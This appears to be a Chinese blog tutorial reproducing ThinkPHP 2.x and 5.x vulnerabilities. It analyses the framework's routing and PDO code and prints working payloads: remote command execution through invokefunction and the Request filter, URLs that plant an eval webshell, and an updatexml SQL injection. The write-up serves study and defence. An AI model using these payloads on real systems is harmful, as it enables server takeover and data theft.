ThinkPHP是一個免費開源的,快速的,簡單的物件導向的國產輕量級PHP開發框架。
ThinkPHP遵循Apache2開源協定釋出,是為了敏捷WEB應用開發和簡化企業級應用開而誕生的,具有免費開源,快速簡單及物件導向等眾多的優秀功能和特性。ThinkPHP經歷了五年多發展的同時,在社群團隊的積极參與下,在易用性,擴充套件性和效能方面不斷優化和改進,眾多的典型案例確保可以穩定用於商業以及門戶的開發。
ThinkPHP借鑑了國外很多優秀的框架和模式,使用物件導向的開發結構和MVC模式,採用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標籤庫),ROR的ORM對映和ActiveRecord模式;封裝了CURD和一些常用操作,在專案設定,類庫匯入,模板引擎,查詢語言,自動驗證,檢視模型,專案編譯,快取機制,SEO支援,分散式資料庫,多資料庫連線和切換,認證機制和擴充套件性方面均有獨特的表現。
使用ThinkPHP,可以更方便和快捷的開發和部署應用。ThinkPHP本身具有很多的原創特性,並且倡導大道至簡,開發由我的開發理念,用最少的程式碼完成更多的功能,宗旨就是讓WEB應用開發更簡單,更快速!
下載ThinkPHP後解壓完成會形成兩個資料夾:ThinkPHP和Examples。
ThinkPHP無需單獨安裝,將ThinkPHP資料夾FTP至伺服器Web目錄或拷貝至本地Web目錄下面即可。
ThinkPHP.php:框架入口檔案
Common:包含框架的一些公共檔案,系統定義,系統函數和慣例設定等
Conf:框架組態檔目錄
Lang:系統語言檔案目錄
Lib:系統基礎類別庫目錄
Tpl:系統模板目錄
Extend:框架擴充套件s
可以支援Windows/Unix伺服器環境,可以執行包括Apache,IIS和nginx在內的多種WEB伺服器和多種模式。需要PHP5.2.0以上版本支援,支援MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種資料庫和連線。
ThinkPHP本身沒有什麼特別模組要求,具體的應用系統執行環境要求視開發所涉及的模組。ThinkPHP底層執行的記憶體消耗極低,而本身的檔案大小也是輕量級,因此不會出現空間和記憶體佔用的瓶頸。
preg_replace函數:
preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])
搜尋subject中匹配pattern的部分,以replacement進行替換。
$pattern:要搜尋的模式,可以是字串或者一個字串陣列
$replacement:用於替換的字串或者陣列
$subject:用於替換的目標字串或者陣列
$limit:可選,對於每個模式用於每個subject字串的最大可替換數。預設是-1
$count:可選·,為替換執行的次數
返回值:
如果subject為一個陣列,則返回一個陣列,其他情況下返回一個字串。
如果匹配被查詢到,替換後的subject被返回,其他情況下,返回沒有改變的 subject,如果發生錯誤返回NULL
正規表示式:https://www.runoob.com/regexp/regexp-syntax.html
存取頁面,發現是一個Thinkphp的cms框架,由於是漏洞復現,我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過亂輸入徑進行報錯,或是使用雲悉指紋識別進行檢測
此時輸入已經爆出的遠端程式碼執行命令即可浮現漏洞:
/index.php?s=/index/index/xxx/${@phpinfo()} //phpinfo敏感檔案
/index.php?s=a/b/c/${@print(eval($_POST[1]))} //此為一句話連菜刀
登入後複製
這裡只要將phpinfo()換成一句話木馬即可成功!
1)通過觀察這句話,我們可以清楚的知道它是將
${@phpinfo()}
登入後複製
作為變數輸出到了頁面顯示,其原理,我通過freebuf總結一下:
在PHP當中, ${} 是可以構造一個變數的, {} 寫的是一般字元,那麼就會被當作成變數,比如 ${a} 等價於 $a
thinkphp所有的主入口檔案預設存取index控制器(模組)
thinkphp所有的控制器預設執行index動作(方法)
http://serverName/index.php(或者其它應用入口檔案)?s=/模組/控制器/操作/[引數名/引數值...]
陣列$var在路徑存在模組和動作時,會去除前面兩個值。而陣列$var來自於explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。
所以我們構造poc如下:
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}.......
2)換而言之,就是在thinphp的類似於MVC的框架中,存在一個Dispatcher.class.php的檔案,它規定了如何解析路由,在該檔案中,存在一個函數為static public function dispatch(),此為URL對映控制器,是為了將URL存取的路徑對映到該控制器下獲取資源的,而當我們輸入的URL作為變數傳入時,該URL對映控制器會將變數以陣列的方式獲取出來,從而導致漏洞的產生。
類名為`Dispatcher`,class Dispatcher extends Think
裡面的方法有:
static public function dispatch() URL對映到控制器
public static function getPathInfo() 獲得伺服器的PATH_INFO資訊
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模組名稱
static private function getGroup($var) 獲得實際的分組名稱
登入後複製
漏洞簡介
ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個系列,系列不同,復現漏洞時也稍有不同。
在ThinkPHP 5.x中造成rce(遠端命令執行)有兩種原因
1.路由對於控制器名控制不嚴謹導致RCE、
2.Request類對於呼叫方法控制不嚴謹加上變數覆蓋導致RCE
首先記錄這兩個主要POC:
控制器名未過濾導致rce
function為反射呼叫的函數,vars[0]為傳入的回撥函數,vars[1][]為引數為回撥函數的引數
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
核心類Request遠端程式碼執行漏洞
filter[]為回撥函數,get[]或route[]或server[REQUEST_METHOD]為回撥函數的引數,執行回撥函數的函數為call_user_func()
核心版需要開啟debug模式
POST /index.php?s=captch
_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
or
_ method=_construct&method=get&filter[]=system&get[]=pwd
控制器名未過濾導致RCE
0x01 簡介
2018年12月9日,ThinkPHP v5系列釋出安全更新v5.0.23,修復了一處可導致遠端程式碼執行的嚴重漏洞。在官方公佈了修復記錄後,才出現的漏洞利用方式,不過不排除很早之前已經有人使用了0day
該漏洞出現的原因在於ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url呼叫到ThinkPHP框架內部的敏感函數,進而導致getshell漏洞
最終確定漏洞影響版本為:
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
理解該漏洞的關鍵在於理解ThinkPHP5的路由處理方式主要分為有設定路由和未設定路由的情況,在未設定路由的情況,ThinkPHP5將通過下面格式進行解析URL
http://serverName/index.php(或者其它應用入口檔案)/模組/控制器/操作/[引數名/引數值...]
登入後複製
同時在相容模式下ThinkPHP還支援以下格式解析URL:
http://serverName/index.php(或者其它應用入口檔案)?s=/模組/控制器/操作/[引數名/引數值...](引數以PATH_INFO傳入)
http://serverName/index.php(或者其它應用入口檔案)?s=/模組/控制器/操作/[&引數名=引數值...] (引數以傳統方式傳入)
登入後複製
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
登入後複製
本次漏洞就產生在未匹配到路由的情況下,使用相容模式解析url時,通過構造特殊url,呼叫意外的控制器中敏感函數,從而執行敏感操作
下面通過程式碼具體解析ThinkPHP的路由解析流程
0x02 路由處理邏輯詳細分析
分析版本: 5.0.22
跟蹤路由處理的邏輯,來完整看一下該漏洞的整體呼叫鏈:
thinkphp/library/think/App.php
116行,通過routeCheck()方法開始進行url路由檢測
在routeCheck()中,首先提取$path資訊,這裡獲取$path的方式分別為pathinfo模式和相容模式,pathinfo模式就是通過$_SERVER['PATH_INFO']獲取到的主要path資訊,==$_SERVER['PATH_INFO']會自動將URL中的""替換為"/",導致破壞名稱空間格式==,==相容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的資訊會通過get的方式獲取,var_pathinfo的值預設為's',從而繞過了反斜槓的替換==,這裡也是該漏洞的一個關鍵利用點
檢測邏輯:如果開啟了路由檢測模式(組態檔中的url_on為true),則進入路由檢測,結果返回給$result,如果路由無效且設定了只允許路由檢測模式(組態檔url_route_must為true),則丟擲異常。
在相容模式中,檢測到路由無效後(false === $result),則還會進入Route::parseUrl()檢測路由。我們重點關注這個路由解析方式,因為該方式我們通過URL可控:
放回最終的路由檢測結果$result($dispath),交給exec執行:
$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由檢測
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 開啟路由
……
// 路由檢測(根據路由定義返回不同的URL排程)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由無效
throw new RouteNotFoundException();
}
}
// 路由無效 解析模組/控制器/操作/引數... 支援控制器自動搜尋
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
登入後複製
thinkphp/libary/think/Route.php
跟蹤Route::parseUrl(),在註釋中可以看到大概解析方式
$url主要同通過parseUrlPath()解析,跟蹤該函數發現程式通過斜槓/來劃分模組/控制器/操作,結果為陣列形式,然後將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]陣列,作為App.php中$dispatch1值,並傳入exec()函數中
注意這裡使用的時 斜槓/來劃分每個部分,我們的控制器可以通過名稱空間來呼叫,名稱空間使用反斜槓\來劃分,正好錯過,這也是能利用的其中一個細節
/**
* 解析模組的URL地址 [模組/控制器/操作?]引數1=值1&引數2=值2...
* @access public
* @param string $url URL地址
* @param string $depr URL分隔符
* @param bool $autoSearch 是否自動深度搜尋控制器
* @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
{
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url); //解析URL的pathinfo引數和變數
$route = [null, null, null];
if (isset($path)) {
// 解析模組,依次得到$module, $controller, $action
……
// 封裝路由
$route = [$module, $controller, $action];
}
return ['type' => 'module', 'module' => $route];
}
登入後複製
thinkphp/library/think/Route.php
private static function parseUrlPath($url)//line:1284-1302
{
// 分隔符替換 確保路由定義使用統一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
$var = [];
if (false !== strpos($url, '?')) {
// [模組/控制器/操作?]引數1=值1&引數2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模組/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}
登入後複製
路由解析結果作為exec()的引數進行執行,追蹤該函數
thinkphp/library/think/App.php
登入後複製
追蹤exec()函數,傳入了$dispatch,$config兩個引數,其中$dispatch為['type' => 'module', 'module' => $route]
因為 type 為 module,直接進入對應流程,然後執行module方法,其中傳入的引數$dispatch['module']為模組\控制器\操作組成的陣列
跟蹤module()方法,主要通過$dispatch['module']獲取模組$module, 控制器$controller, 操作$action,可以看到==提取過程中除了做小寫轉換,沒有做其他過濾操作==
$controller將通過Loader::controller自動載入,這是ThinkPHP的自動載入機制,只用知道此步會載入我們需要的控制器程式碼,如果控制器不存在會丟擲異常,載入成功會返回$instance,這應該就是控制器類的範例化物件,裡面儲存的有控制器的檔案路徑,名稱空間等資訊
通過is_callable([$instance, $action])方法判斷$action是否是$instance中可呼叫的方法
通過判斷後,會記錄$instacne,$action到$call中($call = [$instance, $action]),方便後續呼叫,並更新當前$request物件的action
最後$call將被傳入self::invokeMethod($call, $vars)
protected static function exec($dispatch, $config)//line:445-483
{
switch ($dispatch['type']) {
……
case 'module': // 模組/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
……
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
public static function module($result, $config, $convert = null)//line:494-608
{
……
if ($config['app_multi_module']) {
// 多模組部署
// 獲取模組名
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
}
……
// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 獲取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 設定當前請求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
……
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
// 獲取當前操作名
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 執行操作方法
$call = [$instance, $action];
// 嚴格獲取當前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
登入後複製
先提前看下5.0.23的修復情況,找到對應的commit,對傳入的控制器名做了限制
thinkphp/library/think/App.php
跟蹤invokeMethod,其中 $method = $call = [$instance, $action]
通過範例化反射物件控制$instace的$action方法,即控制器類中操作方法
中間還有一個繫結引數的操作
最後利用反射執行對應的操作
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 靜態方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
登入後複製
以上便是ThinkPHP5.0完整的路由檢測,
0x03 弱點利用
如上我們知道,url 路由檢測過程並沒有對輸入有過濾,我們也知道通過url構造的模組/控制器/操作主要來呼叫對應模組->對應的類->對應的方法,而這些引數通過url可控,我們便有可能操控程式中的所有控制器的程式碼,接下來的任務便是尋找敏感的操作
thinkphp/library/think/App.php
public static function invokeFunction($function, $vars = [])//line:311-320
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);
// 記錄執行資訊
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
return $reflect->invokeArgs($args);
}
登入後複製
該函數通過ReflectionFunction()反射呼叫程式中的函數,這就是一個很好利用的點,我們通過該函數可以呼叫系統中的各種敏感函數。
找到利用點了,現在就需要來構造poc,首先觸發點在thinkphp/library/think/App.php中的invokeFunction,我們需要構造url格式為模組\控制器\操作
模組我們用預設模組index即可,首先大多數網站都有這個模組,而且每個模組都會載入app.php檔案,無須擔心模組的選擇
該檔案的名稱空間為think,類名為app,我們的控制器便可以構造成\think\app。因為ThinkPHP使用的自動載入機制會識別名稱空間,這麼構造是沒有問題的。
操作直接為invokeFunction,沒有疑問
引數方面,我們首先要觸發第一個呼叫函數,簡化一下程式碼再分析一下:
第一行確定 $class 就是我們傳入的控制器\think\app範例化後的物件
第二行繫結我們的方法,也就是invokefunction
第三方就可以呼叫這個方法了,其中$args是我們的引數,通過url構造,將會傳入到invokefunction中
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
登入後複製
然後就進入我們的invokefunctio,該函數需要什麼引數,我們就構造什麼引數,首先構造一個呼叫函數function=call_user_func_array
call_user_func_array需要兩個引數,第一個引數為函數名,第二個引數為陣列,var[0]=system,var[1][0]=id
這裡因為兩次反射一次回撥呼叫需要好好捋一捋。。。。
復現成功
0x01 漏洞原理
ThinkPHP是一款運用極廣的PHP開發框架,其版本5中,由於沒有使用正確的控制器名,導致在網站沒有開啟強制路由的情況下(即預設情況下),可以執行任意方法,從而導致遠端命令執行漏洞。
0x02 漏洞影響版本
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
0x03 漏洞復現
可以利用點:
http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
vars[0]用來接受函數名,vars[1][]用來接收引數
如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27
會在螢幕上打出123和我們輸入的字串長度
寫入一句話木馬getshell
使用file_put_contents函數寫入shell:
vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST[1]);%20?>">>test.php
使用蟻劍成功getshell!
0x01 瞭解的知識:
pdo預編譯:
當我們使用mysql語句進行資料查詢時,資料首先傳入計算機,計算機進行編譯之後傳入資料庫進行資料查詢
(我們使用的是高階語言,計算機無法直接理解執行,所以我們將命令或請求傳入計算機時,計算機首先將我們的語句編譯成為計算機語言,之後再進行執行,所以如果不編譯直接執行計算機是無法理解的,如傳入select函數,沒編譯之前計算機只認為這是五個字元,而無法理解這是個查詢函數)
如此說來,我們每次查詢時都需要先編譯,這樣會加大成本,並且會存在sql注入的可能,所以有一定危險。
如此,我們進行查詢資料庫資料時使用預編譯,例如:
select ? from security where tables=?
登入後複製
此語句中?代表預留位置,在pdo中表示之後繫結的資料,此時無法確定具體值
使用者在傳入查詢具體數值時,計算機首先將以上的查詢語句進行編譯,使其具有執行力,之後再對於?代表的具體數值就不進行編譯而直接進行查詢,所以我們在?處利用sql注入語句代替時,就不具有任何效力,甚至傳入字串時還會報錯,而預編譯還可以節省成本,即上面語句除了查詢數值只編譯一次,之後進行相同語句查詢時直接使用,只是查詢具體數值改變。所以這種預編譯的方式可以很好的防止sql注入。
漏洞上下文如下:
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
登入後複製
如上述程式碼,如果我們控制了in語句的值位置,即可通過傳入一個陣列,來造成SQL隱碼攻擊漏洞。
文中已有分析,我就不多說了,但說一下為什麼這是一個SQL隱碼攻擊漏洞。IN操作程式碼如下:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 處理帶非單詞字元的欄位名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查詢
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
登入後複製
可見,$bindName在前邊進行了一次檢測,正常來說是不會出現漏洞的。但如果$value是一個陣列的情況下,這裡會遍歷$value,並將$k拼接進$bindName。
也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL隱碼攻擊漏洞。那麼,為什麼原文中說測試SQL隱碼攻擊失敗呢?
這就是涉及到預編譯的執行過程了。通常,PDO預編譯執行過程分三步:
prepare($SQL)編譯SQL語句
bindValue($param, $value)將value繫結到param的位置上
execute()執行
這個漏洞實際上就是控制了第二步的$param變數,這個變數如果是一個SQL語句的話,那麼在第二步的時候是會丟擲錯誤的:
所以,這個錯誤「似乎」導致整個過程執行不到第三步,也就沒法進行注入了。
但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下程式碼:
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
var_dump($e);
}
登入後複製
執行發現,雖然我只呼叫了prepare函數,但原SQL語句中的報錯已經成功執行:
究其原因,是因為我這裡設定了PDO::ATTR_EMULATE_PREPARES => false。
這個選項涉及到PDO的「預處理」機制:因為不是所有資料庫驅動都支援SQL預編譯,所以PDO存在「模擬預處理機制」。如果說開啟了模擬預處理,那麼PDO內部會模擬引數繫結的過程,SQL語句是在最後execute()的時候才傳送給資料庫執行;如果我這裡設定了PDO::ATTR_EMULATE_PREPARES => false,那麼PDO不會模擬預處理,引數化繫結的整個過程都是和Mysql互動進行的。
非模擬預處理的情況下,引數化繫結過程分兩步:第一步是prepare階段,傳送帶有預留位置的sql語句到mysql伺服器(parsing->resolution),第二步是多次傳送預留位置引數給mysql伺服器進行執行(多次執行optimization->execution)。
這時,假設在第一步執行prepare($SQL)的時候我的SQL語句就出現錯誤了,那麼就會直接由mysql那邊丟擲異常,不會再執行第二步。我們看看ThinkPHP5的預設設定:
...
// PDO連線引數
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...
登入後複製
可見,這裡的確設定了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構造如下POC,即可利用報錯注入,獲取user()資訊:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你將user()改成一個子查詢語句,那麼結果又會爆出Invalid parameter number: parameter was not defined的錯誤。因為沒有過多研究,說一下我猜測:預編譯的確是mysql伺服器端進行的,但是預編譯的過程是不接觸資料的 ,也就是說不會從表中將真實資料取出來,所以使用子查詢的情況下不會觸發報錯;雖然預編譯的過程不接觸資料,但類似user()這樣的資料庫函數的值還是將會編譯進SQL語句,所以這裡執行並爆了出來。
其實ThinkPH框架漏洞大多用到的都是設定對於控制器名的一個疏忽問題,不理解的小夥伴可以查來url呼叫檔案的機制來學習一下,其實這些框架漏洞都是基於基礎漏洞的一些拓展,至於sql漏洞,瞭解一下pdo預編譯原理即可。
不管java或是php在進行資料庫查詢的時候都應該進行pdo預編譯,我們都知道,在jdbc工作的時候分成好多步
1.建立連線
2.寫入sql語句
3.預編譯sql語句
4.設定引數
5.執行sql獲取結果
6.遍歷結果(處理結果)
7.關閉連線
對於程式設計師來說,jdbc操作總是很麻煩,所以利用預編譯就是將mysql查詢語句進行封裝,之後在進行查詢的時候直接輸入引數即可,這樣即簡化了操作也極大程度加強了安全屬性,而以此類推,這樣來說我們是否可以將其他步驟也進行封裝呢,也就是建立連線,寫入sql語句等,只留下寫入sql語句與遍歷結果來進行操作,這樣就更加簡化了操作。
於是就誕生出了Mybatis半自動框架與Hibernate全自動框架,直接將jdbc的操作進行封裝,但是由於全自動框架可操作性過於狹窄,所以現在市面上更多的還是Mybatis框架進行連線伺服器端與資料庫,但是一般政府或國企的專案還是偏向於Hibernate框架,這些知識都是涉及一些程式設計知識,大家可以自己去了解一下。
推薦學習:《》
以上就是滲透測試之路:ThinkPHP漏洞復現的詳細內容,更多請關注TW511.COM其它相關文章!